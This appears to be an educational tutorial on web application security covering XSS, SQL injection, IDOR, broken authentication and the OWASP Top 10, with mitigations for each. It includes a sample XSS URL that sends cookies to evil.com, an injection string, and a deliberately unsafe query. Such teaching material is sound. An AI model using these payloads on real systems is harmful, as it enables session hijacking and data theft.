Web security is hard because HTTP was designed to share public documents, not to protect bank accounts or medical records. We have forced a protocol built for openness to carry out tasks that demand secrecy and strict access control. That fundamental tension creates a wide attack surface.
The golden rule of web security: never trust the client. The browser is entirely under the user’s control. Users can manipulate JavaScript, edit cookies, forge headers, and bypass client-side validation. Every security check that matters must happen on the server.

​
Cross-Site Scripting (XSS)

XSS lets an attacker inject malicious scripts into content served from a website you trust. When another user visits that page, their browser runs the attacker’s script — not realizing it wasn’t put there by the site itself. The classic kill chain looks like this:
  1. The injected script reads document.cookie (which contains the user’s session ID).
  2. The script sends that data to an attacker-controlled server.
  3. The attacker uses the stolen session ID to hijack the victim’s logged-in session.
HttpOnly cookies cannot be read by JavaScript at all. Setting this flag on your session cookies is one of the most impactful single-line mitigations you can deploy. Add Secure and SameSite=Strict as well.
The malicious script travels in the URL and is immediately “reflected” back in the server’s response — for example, in a search result or error message. The attacker crafts a link and tricks the victim into clicking it.Example URL:
https://example.com/search?q=<script>fetch('https://evil.com/?c='+document.cookie)</script>
The server echoes the query parameter into the HTML response. If the output is not encoded, the script executes in the victim’s browser.

​
XSS mitigations

DefenseHow it helps
Context-aware output encodingConvert < → &lt;, > → &gt;, & → &amp; before inserting user input into HTML. This prevents the browser from interpreting the content as code.
HttpOnly cookiesPrevents JavaScript from reading session cookies even if XSS runs.
Content Security Policy (CSP)Whitelists allowed script sources. A strict CSP blocks inline scripts and external scripts from untrusted domains.
Avoid innerHTMLUse textContent when inserting untrusted data into the DOM. textContent never parses HTML.

​
SQL Injection (SQLi)

SQL injection is consistently ranked in the OWASP Top 10 and has been responsible for some of the largest data breaches in history. A single unparameterized query can expose an entire database.
SQLi happens when user input is concatenated directly into an SQL query instead of being treated as data. The attacker escapes the string context and appends their own SQL commands. Vulnerable code: 
# Never do this
query = "SELECT * FROM users WHERE name = '" + username + "'"
Normal input: Alice → query becomes SELECT * FROM users WHERE name = 'Alice' Attacker input: ' OR '1'='1 → query becomes: 
SELECT * FROM users WHERE name = '' OR '1'='1'
This returns every row in the users table, bypassing the login check entirely. More destructive payloads can drop tables, exfiltrate data, or in some configurations execute OS commands.

​
SQLi mitigations

Use parameterized queries (prepared statements). The database treats user input strictly as data, never as executable SQL: 
# Safe: parameterized query
cursor.execute("SELECT * FROM users WHERE name = %s", (username,))

// Safe: Java PreparedStatement
PreparedStatement stmt = conn.prepareStatement(
    "SELECT * FROM users WHERE name = ?"
);
stmt.setString(1, username);
Additional measures:
  • Apply the least privilege principle — your app’s database user should not have DROP, CREATE, or administrative rights it doesn’t need.
  • Use an ORM (Object-Relational Mapper); most provide parameterization by default.
  • Validate and sanitize input to reject unexpected characters before they reach the database layer.

​
Insecure Direct Object References (IDOR)

IDOR is a surprisingly common access control failure. The application uses a user-supplied identifier (typically in a URL or request body) to look up a resource — but never verifies whether the requesting user is authorized to access that specific resource. Example: You log in and your profile page is at: 
GET /api/students/10050/grades
You change 10050 to 10051 in the URL. If the server returns another student’s grades, that is an IDOR vulnerability. The server authenticated you, but it never checked whether resource 10051 belongs to you. Mitigations:
  • Always verify server-side that the authenticated user owns or is authorized to access the requested object. Never rely on the client to enforce this.
  • Use UUIDs or other non-sequential, hard-to-guess identifiers instead of integers. Sequential IDs make enumeration trivial.
  • Implement a consistent authorization layer that every endpoint must pass through.

​
Broken authentication

Broken authentication refers to flaws in login and session management that let attackers compromise accounts or bypass access controls without knowing the correct credentials. Common mistakes:
  • Weak password policies — allowing short, all-lowercase, dictionary-word passwords gives attackers easy brute-force targets.
  • No lockout mechanism — without rate limiting or lockouts, an attacker can try millions of passwords automatically.
  • Session IDs in URLs — URLs appear in server logs, browser history, and Referer headers. A session ID in the URL leaks the session to anyone who can see those logs.
Mitigations:
  • Require multi-factor authentication (MFA) — a stolen password alone is not enough to log in.
  • Use well-established authentication libraries and frameworks rather than building your own. Don’t roll your own cryptography.
  • Store session IDs in HttpOnly, Secure, SameSite cookies — never in the URL.
  • Enforce account lockouts after a configurable number of failed attempts.
  • Enforce strong password complexity and minimum length requirements.

​
OWASP Top 10

The Open Web Application Security Project (OWASP) publishes a list of the most critical web application security risks, updated every few years. The 2025 list reflects the current threat landscape:
RankCategory
A01:2025Broken Access Control
A02:2025Security Misconfiguration
A03:2025Software Supply Chain Failures
A04:2025Cryptographic Failures
A05:2025Injection
A06:2025Insecure Design
A07:2025Authentication Failures
A08:2025Software or Data Integrity Failures
A09:2025Logging & Alerting Failures
A10:2025Mishandling of Exceptional Conditions
Rank does not mean frequency — it reflects impact. Broken Access Control sits at #1 not because it is the most common bug, but because the consequences of getting it wrong are severe. Use the OWASP Top 10 as a design checklist, not just a remediation list.
The principles that underlie every item on this list:
  • Defense in depth — layer your security controls. If the firewall fails, authentication must hold. If authentication fails, input validation must hold.
  • Least privilege — services, database accounts, and users should have only the permissions they actually need.
  • Reduce the attack surface — fewer features means fewer vulnerabilities.
  • Log and alert — you need to know when an attack is happening, or reconstruct what happened after the fact.